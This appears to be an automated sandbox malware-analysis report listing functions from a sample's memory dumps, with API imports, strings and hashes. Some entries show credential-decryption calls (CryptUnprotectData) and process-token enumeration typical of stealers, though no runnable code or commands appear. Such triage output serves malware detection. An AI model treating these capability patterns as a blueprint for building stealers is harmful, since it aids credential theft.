Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE8241

GetLocaleInfoW.KERNEL32 ref: 00000218BFBF7444

Part of subcall function 00000218BFBDDEA0: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDDEBD

GetLocaleInfoW.KERNEL32 ref: 00000218BFBF748D

Part of subcall function 00000218BFBDDEA0: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDDF16

GetLocaleInfoW.KERNEL32 ref: 00000218BFBF7555

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 90d945be40b20d5b5a3c3d7ca8cbaa30e5ffd7f5627642ea07c20393f480da84
Instruction ID: 4e6c7aa2c7192810735cf5077512f04e7cf96e996a0b21408160b9c494892f87
Opcode Fuzzy Hash: 90d945be40b20d5b5a3c3d7ca8cbaa30e5ffd7f5627642ea07c20393f480da84
Instruction Fuzzy Hash: B6618B722086428AEB349F15E5D83ED73A1F7A4748F648169CBDAC3691DF38DE91C740

Function 00000218BFBEC1A8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00000218BFBEC21C

Strings

GetLocaleInfoEx, xrefs: 00000218BFBEC1C4, 00000218BFBEC1D5

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 0fc81d44bec917c2802c26d4724ac6a513cb7d03bb6cf24fcfbb40603345bdc0
Instruction ID: 8ac3c099f5c5f541fb3729fba1d44c86bf33445a18795f66b301104404eda2c5
Opcode Fuzzy Hash: 0fc81d44bec917c2802c26d4724ac6a513cb7d03bb6cf24fcfbb40603345bdc0
Instruction Fuzzy Hash: C301A73030875086E7049F96B4882DEA760E7E5BD4F544426DE5983B56CE38CB818740

Function 00000218BFB85EE0 Relevance: 3.1, APIs: 2, Instructions: 145encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00000218BFB85F6D
LocalFree.KERNEL32 ref: 00000218BFB85FFF

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 5e76940ea55d6452d0e0d141e06380e92f95219d88b70c13de166273a6d400fa
Instruction ID: 71abb662dd1b30f8f3cb8a7a6c041a5e1855296283bbf99820f4ddb349678f95
Opcode Fuzzy Hash: 5e76940ea55d6452d0e0d141e06380e92f95219d88b70c13de166273a6d400fa
Instruction Fuzzy Hash: DC617D32B18B80DAF710DF74E4943DD73A1E76879CF048219EA8996E8ADF74CA94C344

Function 00000218BFBC21C0 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptProtectData.CRYPT32 ref: 00000218BFBC2218
LocalFree.KERNEL32 ref: 00000218BFBC22AA

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CryptDataFreeLocalProtect
String ID:
API String ID: 2714945720-0
Opcode ID: 6da8b2380d1e6afdbe15ad09ed0a82a6e20629f9e1f2d0947d1afcdde56a6e99
Instruction ID: 4e6b2baf7cd0ddd3804d2e9b947410b9f6f7678b0f024ca44a3517a88a85aaf1
Opcode Fuzzy Hash: 6da8b2380d1e6afdbe15ad09ed0a82a6e20629f9e1f2d0947d1afcdde56a6e99
Instruction Fuzzy Hash: DC415A33618B90CAF3209F74D4943DD37A4F76878CF444629EA8846E8ADF79C6A4C354

Function 00000218BFBF7620 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE8241

GetLocaleInfoW.KERNEL32 ref: 00000218BFBF7688

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 1d8e405bb44b78bdea7029598407ccfb6a808eb35fd889ed9364ebfb982fc4a2
Instruction ID: 147d7e305ce27d9104314de68941d71e88b6b041f6b2dd2cea2bdc696ac2659c
Opcode Fuzzy Hash: 1d8e405bb44b78bdea7029598407ccfb6a808eb35fd889ed9364ebfb982fc4a2
Instruction Fuzzy Hash: EC31A53230878186EF24CB29E8953DE73A1F7A8788F5081699A99C3695DF38DE51C740

Function 00000218BFBF7270 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

EnumSystemLocalesW.KERNEL32 ref: 00000218BFBF730E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 58800bb6c4d0d9c609f2f6f306793987a7a581936cd52f064e9451565f60872b
Instruction ID: e2b3e2907dfd41a58d8ba3026a4f146650e91001dd7bd3b298e265506c664c69
Opcode Fuzzy Hash: 58800bb6c4d0d9c609f2f6f306793987a7a581936cd52f064e9451565f60872b
Instruction Fuzzy Hash: 8711D273A086448AEB149F26D0847DC7BA1F3A1BA8F544115D6A5833C4CE34CAD1C740

Function 00000218BFBF7828 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

GetLocaleInfoW.KERNEL32 ref: 00000218BFBF785F

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: a206680715a2a1e8ed04527063a7d486e32d99efc1662854cd7c3fa16e13c692
Instruction ID: a7633bee11c780ee12e2dff256cc97918534ff23481ef692cb18e8eb681080fb
Opcode Fuzzy Hash: a206680715a2a1e8ed04527063a7d486e32d99efc1662854cd7c3fa16e13c692
Instruction Fuzzy Hash: 90112C3272865183E7748727A0CCBDE6761E7A4768F644661D6A6877C4DF25CE82C700

Function 00000218BFBF7340 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

EnumSystemLocalesW.KERNEL32 ref: 00000218BFBF73BE

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: fd6ab9fb082eedb8b2c8f5dae22463227a7604b7e6560a2cecb061507bc0ecca
Instruction ID: fad03da4cdcfa09502dcc6f6a273bb0b7275356dcf09684850517a4fd12e1138
Opcode Fuzzy Hash: fd6ab9fb082eedb8b2c8f5dae22463227a7604b7e6560a2cecb061507bc0ecca
Instruction Fuzzy Hash: 4201D47270828097EB104F15E4C8BDDB7E2F760BA8F558261DAA1876C4CF748E82C700

Function 00000218BFBBF1D0 Relevance: 1.5, APIs: 1, Instructions: 34comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00000218BFBBF1FD
CoSetProxyBlanket.OLE32 ref: 00000218BFBBF252

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: BlanketCreateInstanceProxy
String ID:
API String ID: 1899829610-0
Opcode ID: 0fa0fe79c8acc086f796464e5f290d8fcb7c5bcb058d1267aeae24e9f7f4326f
Instruction ID: d87507681876db2b24b3a4e1253a62a94cf0b8c0f0c7efbb4dd4eac7549f27d2
Opcode Fuzzy Hash: 0fa0fe79c8acc086f796464e5f290d8fcb7c5bcb058d1267aeae24e9f7f4326f
Instruction Fuzzy Hash: 6201D137708A508AFB22DFA4E4853ED67B0EB9875CF4001229E4D83A55EF38C685C340

Function 00000218BFBEBC68 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 00000218BFBEBCB7

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: f8325550294e071d185dd7c07cc84b153cedbfbab89d167ada8b5b9da10e3d51
Instruction ID: 63321a302636f70afabc8f2b387334ac05bc47da2aabb947e69e0c0767c9f66c
Opcode Fuzzy Hash: f8325550294e071d185dd7c07cc84b153cedbfbab89d167ada8b5b9da10e3d51
Instruction Fuzzy Hash: D9F03C72308A4482E704DB15F8E42DD6765F7A8B84F549025EA59C3765CE3CCAA1C704

Function 00000218BFBF7F00 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000218BFBF7F04

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2bd217787b85c097b3ccba094d4d30ef76119dd789487d52041f712bc5b72eb7
Instruction ID: 3ad037031a616de12998af9563b124e6a9e129f975aa22664bad3ec5801933cb
Opcode Fuzzy Hash: 2bd217787b85c097b3ccba094d4d30ef76119dd789487d52041f712bc5b72eb7
Instruction Fuzzy Hash: F2B09230A07A15C6EA082B116CEA78C23A4BB68B24F884018840C91321DF3C12F59710

Function 00000218BFC22008 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e13bd82e7ee77ee3b2ef3e8d158110f58128b3ce015c46648f9d69e17062f80
Instruction ID: 83c3267691511060dd51633115acea42e7dd2bd589a84d4cbcdbbada961e2038
Opcode Fuzzy Hash: 4e13bd82e7ee77ee3b2ef3e8d158110f58128b3ce015c46648f9d69e17062f80
Instruction Fuzzy Hash: 01F07277A1D7F45AF3525B240CBE3CC1F91D7B2B2AF4D404A8A80C39D79C465E46D251

Function 00000218BFC222D8 Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d53a79903260b7a4f0e6c71e7ffc168a0f2adb2b336afcda935cdf6e025e0c2f
Instruction ID: f5b6d38d497468900124606725b727b05283dde5915bb2ff0873eb39ef22deba
Opcode Fuzzy Hash: d53a79903260b7a4f0e6c71e7ffc168a0f2adb2b336afcda935cdf6e025e0c2f
Instruction Fuzzy Hash: BBF0BDEBA5FEE006F7B699640DFE2CC2FD2D7F1519F1D418A8B44835C3AD422E845211

Function 00000218BFC22398 Relevance: .0, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d01cb9ed2bd3d2d45766b86e1c76849cdc335525e86e8d4b249a2a0640e502
Instruction ID: 28af43c7747f5b8feec384b703a9535bb63f8faae35d4f664999b6f70f13c951
Opcode Fuzzy Hash: 91d01cb9ed2bd3d2d45766b86e1c76849cdc335525e86e8d4b249a2a0640e502
Instruction Fuzzy Hash: A4E04F97A4DAE019F3164A600CFF68C1FD597B2A15B4D80DF874483AD3BC492D009311

Function 00000218BFC226E0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42a01495bc10c92585e70db87d9dd7e84e2cd6d90333ee8a624f4433841b9f2
Instruction ID: 85ca7840941fed547db68210bb2e7a1d9016b595345f953d518d4155588ebe44
Opcode Fuzzy Hash: a42a01495bc10c92585e70db87d9dd7e84e2cd6d90333ee8a624f4433841b9f2
Instruction Fuzzy Hash: 2DA011A330C0A0CAF2030E20088EACC2BA0EBA2A00B8880808A0002803C02A088E8A00

Function 00000218BFC22090 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc2435066428a19c7aec6319df7f1f57b51b28dda39a8c99eefc1d21da70c48
Instruction ID: 4c7fc790ca0847b58c83a1901d8dc509d6f3932a6b06ec8e6bb04d93a9b1d0e0
Opcode Fuzzy Hash: 1dc2435066428a19c7aec6319df7f1f57b51b28dda39a8c99eefc1d21da70c48
Instruction Fuzzy Hash:

Function 00007FF7AA10DF80 Relevance: 35.0, APIs: 10, Strings: 10, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E0E7
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E0F4
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E101
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E10E
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E11B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E128
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E135
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E142
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E14F
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E15C

Strings

Invalid presentation type for bool, xrefs: 00007FF7AA10E0ED
Invalid presentation type for integer, xrefs: 00007FF7AA10E107
Invalid presentation type for pointer, xrefs: 00007FF7AA10E12E
Invalid presentation type specifier, xrefs: 00007FF7AA10E155
Hash/sign modifier requires an arithmetic presentation type, xrefs: 00007FF7AA10E13B
Invalid presentation type for char, xrefs: 00007FF7AA10E0FA
Invalid presentation type for string, xrefs: 00007FF7AA10E121
Zero modifier requires an arithmetic or pointer presentation type, xrefs: 00007FF7AA10E148
Invalid type specification., xrefs: 00007FF7AA10E0E0
Invalid presentation type for floating-point, xrefs: 00007FF7AA10E114

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Hash/sign modifier requires an arithmetic presentation type$Invalid presentation type for bool$Invalid presentation type for char$Invalid presentation type for floating-point$Invalid presentation type for integer$Invalid presentation type for pointer$Invalid presentation type for string$Invalid presentation type specifier$Invalid type specification.$Zero modifier requires an arithmetic or pointer presentation type
API String ID: 909987262-3157939077
Opcode ID: b0a9f10bba544f87851a6c58a4d34eec66873fff2ac5d87bbd8ef3f653a33ebb
Instruction ID: 939558f37adb87897b53d2e9d6ab61d57ea70a13254bc66385b9c4f5e0567587
Opcode Fuzzy Hash: b0a9f10bba544f87851a6c58a4d34eec66873fff2ac5d87bbd8ef3f653a33ebb
Instruction Fuzzy Hash: 71114630A1A806EAF946F764F8995FCF6726FD1304FE309B1D16E424B2DD5EA906C720

Function 00000218BFBBED30 Relevance: 28.7, APIs: 19, Instructions: 177processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000218BFBBED86
Process32FirstW.KERNEL32 ref: 00000218BFBBEDCA
Process32NextW.KERNEL32 ref: 00000218BFBBEDDF
OpenProcess.KERNEL32 ref: 00000218BFBBEE1B
OpenProcessToken.ADVAPI32 ref: 00000218BFBBEE42
GetTokenInformation.ADVAPI32 ref: 00000218BFBBEE6E
GetLastError.KERNEL32 ref: 00000218BFBBEE7C
GetTokenInformation.ADVAPI32 ref: 00000218BFBBEEBC
ConvertSidToStringSidA.ADVAPI32 ref: 00000218BFBBEED3
CloseHandle.KERNEL32 ref: 00000218BFBBEF46
CloseHandle.KERNEL32 ref: 00000218BFBBEF51
CloseHandle.KERNEL32 ref: 00000218BFBBEFB6
Process32NextW.KERNEL32 ref: 00000218BFBBEFC3
CloseHandle.KERNEL32 ref: 00000218BFBBEFE9
CloseHandle.KERNEL32 ref: 00000218BFBBEFF2
CloseHandle.KERNEL32 ref: 00000218BFBBF007

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseHandle$Process32Token$InformationNextOpenProcess$ConvertCreateErrorFirstLastSnapshotStringToolhelp32
String ID:
API String ID: 3925315391-0
Opcode ID: 9cfa9a338c49679a1929b549c81fccef5f16dbb46e3a6c3e399b60bd0c466e0c
Instruction ID: 527adc026113efbb01191877c067448e9fefd8c110e2cda9df13499da0ec5d5d
Opcode Fuzzy Hash: 9cfa9a338c49679a1929b549c81fccef5f16dbb46e3a6c3e399b60bd0c466e0c
Instruction Fuzzy Hash: 97815132219B9082F750CF25E8987DEB3A5F798B98F404115EE8997BA9DF78CA45C700

Function 00007FF7AA10DBD0 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 263COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF1D
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF2A
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF37
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF44
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF51
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF5E
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF6B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10DF78

Strings

Number is too big, xrefs: 00007FF7AA10DF4A
invalid fill character '{', xrefs: 00007FF7AA10DF16
Format specifier requires numeric argument., xrefs: 00007FF7AA10DF64
Missing precision specifier., xrefs: 00007FF7AA10DF57
Invalid format string., xrefs: 00007FF7AA10DF71
Precision not allowed for this argument type., xrefs: 00007FF7AA10DF3D
Format specifier requires numeric or pointer argument., xrefs: 00007FF7AA10DF30
Invalid fill (too long)., xrefs: 00007FF7AA10DF23

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Format specifier requires numeric argument.$Format specifier requires numeric or pointer argument.$Invalid fill (too long).$Invalid format string.$Missing precision specifier.$Number is too big$Precision not allowed for this argument type.$invalid fill character '{'
API String ID: 909987262-1289275417
Opcode ID: e298129272cf984188b5f565561c13e8c3fea883d1ff0d4dc2a58caec4d9f55b
Instruction ID: 8348a17933609154db078dfdbef7cb39a5446eaebe760c1fa272c964738ab3b6
Opcode Fuzzy Hash: e298129272cf984188b5f565561c13e8c3fea883d1ff0d4dc2a58caec4d9f55b
Instruction Fuzzy Hash: 73A1DB22A0E596D5FA62F725E4443B8B7A19B51B80FDB88B7D65D072F1CE6CE443C320

Function 00007FF7AA10CAE0 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 257COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE3F
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE4C
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE59
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE66
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE73
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE80
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10CE8D

Strings

Missing '}' in format string., xrefs: 00007FF7AA10CE79, 00007FF7AA10CE86
Number is too big, xrefs: 00007FF7AA10CE52
Can not switch from manual to automatic indexing, xrefs: 00007FF7AA10CE5F
Can not switch from automatic to manual indexing, xrefs: 00007FF7AA10CE45
Invalid format string., xrefs: 00007FF7AA10CE38
Unknown format specifier., xrefs: 00007FF7AA10CE6C

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Missing '}' in format string.$Number is too big$Unknown format specifier.
API String ID: 909987262-3302395901
Opcode ID: 054b355c13716a2ad9edb178ab43f0c7c3b29c75f4ab9ff6280103ad86b6c9ba
Instruction ID: 3b36295cf8838f2115f1c3cb3498309db4abf2b8f22a724650c3e3e0d346f0c7
Opcode Fuzzy Hash: 054b355c13716a2ad9edb178ab43f0c7c3b29c75f4ab9ff6280103ad86b6c9ba
Instruction Fuzzy Hash: 6AB1F532B09A45DAF7229F64E0402FDB7B1EB08788F954236DB8D126A5DE3CE193C750

Function 00007FF7AA1209FC Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7AA120A0B
FlsGetValue.KERNEL32 ref: 00007FF7AA120A20
FlsSetValue.KERNEL32 ref: 00007FF7AA120A41
FlsSetValue.KERNEL32 ref: 00007FF7AA120A6E
FlsSetValue.KERNEL32 ref: 00007FF7AA120A7F
FlsSetValue.KERNEL32 ref: 00007FF7AA120A90
SetLastError.KERNEL32 ref: 00007FF7AA120AAB
FlsGetValue.KERNEL32 ref: 00007FF7AA120AE1
FlsSetValue.KERNEL32 ref: 00007FF7AA120B00

Part of subcall function 00007FF7AA1204DC: HeapAlloc.KERNEL32(?,?,00000000,00007FF7AA120BD6,?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000), ref: 00007FF7AA120531

FlsSetValue.KERNEL32 ref: 00007FF7AA120B28

Part of subcall function 00007FF7AA120554: RtlFreeHeap.NTDLL(?,?,00000000,00007FF7AA120C21,?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000), ref: 00007FF7AA12056A
Part of subcall function 00007FF7AA120554: GetLastError.KERNEL32(?,?,00000000,00007FF7AA120C21,?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000), ref: 00007FF7AA120574

FlsSetValue.KERNEL32 ref: 00007FF7AA120B39
FlsSetValue.KERNEL32 ref: 00007FF7AA120B4A

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
